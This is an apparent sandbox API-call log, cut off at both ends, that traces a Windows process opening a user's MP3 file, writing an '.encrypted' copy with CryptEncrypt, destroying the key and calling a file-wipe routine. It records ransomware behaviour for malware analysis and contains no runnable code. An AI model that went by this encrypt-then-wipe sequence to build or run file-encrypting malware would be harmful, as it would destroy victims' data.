wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.969] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.969] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.969] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.969] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.969] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\Sy4u8T-k4V-TX.mp3" (normalized: "c:\\users\\5jghkoaofdp\\music\\sy4u8t-k4v-tx.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0026.969] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.969] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0026.969] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.969] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.969] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.970] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\" (normalized: "c:\\users\\5jghkoaofdp\\music")) returned 0x11 [0026.970] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\Sy4u8T-k4V-TX.encrypted.mp3" (normalized: "c:\\users\\5jghkoaofdp\\music\\sy4u8t-k4v-tx.encrypted.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0026.970] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.970] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.970] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.970] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.972] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0026.972] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x84f4, lpOverlapped=0x0) returned 1 [0026.972] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0026.980] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.980] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.980] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.980] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0026.981] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.981] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.981] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0026.981] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.981] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0026.981] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.981] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.981] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.982] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0026.982] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.982] CryptGetKeyParam (in: hKey=0xe8f4062aa0, dwParam=0x7, pbData=0xe8f4064c70, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064c70*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0026.982] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.982] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.982] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.982] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.982] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.982] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.982] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.983] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.983] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.983] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.983] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.983] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.983] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.983] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.983] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.983] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.983] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.983] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.983] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.983] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.983] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.983] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.983] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.983] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.983] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.983] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x84f4, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x8500) returned 1 [0026.983] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.983] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.983] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.983] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.984] CharLowerBuffW (in: lpsz="byte[34049]", cchLength=0xb | out: lpsz="byte[34049]") returned 0xb [0026.984] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.984] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.984] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.984] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.984] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.984] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f438aa30*, pdwDataLen=0xe8f3dfdf68*=0x84f4, dwBufLen=0x8500 | out: pbData=0xe8f438aa30*, pdwDataLen=0xe8f3dfdf68*=0x8500) returned 1 [0026.984] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.984] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.984] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.984] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.984] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.984] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.985] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.985] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.985] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.985] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.985] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.985] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.985] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.985] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.985] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.985] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.985] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.986] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.986] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.986] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.987] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.987] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.987] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0026.987] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.987] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.987] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0026.987] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.987] CryptDestroyKey (hKey=0xe8f4062aa0) returned 1 [0026.987] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.987] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.987] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.987] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.987] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.987] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0026.987] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0026.987] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.987] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.987] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0026.987] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.987] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.987] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.987] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.987] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.987] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.988] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.988] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.988] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.988] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.988] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.988] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.988] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0026.988] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.988] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.988] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.988] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.988] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.988] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.988] CryptReleaseContext (hProv=0xe8f40633c0, dwFlags=0x0) returned 1 [0026.988] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.988] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.988] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.988] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.988] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.988] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.989] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.990] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.990] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.990] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0026.990] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.990] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.990] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.990] CharLowerBuffW (in: lpsz="byte[34036]", cchLength=0xb | out: lpsz="byte[34036]") returned 0xb [0026.990] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.990] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0026.990] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.990] CharLowerBuffW (in: lpsz="ptr:cdecl", 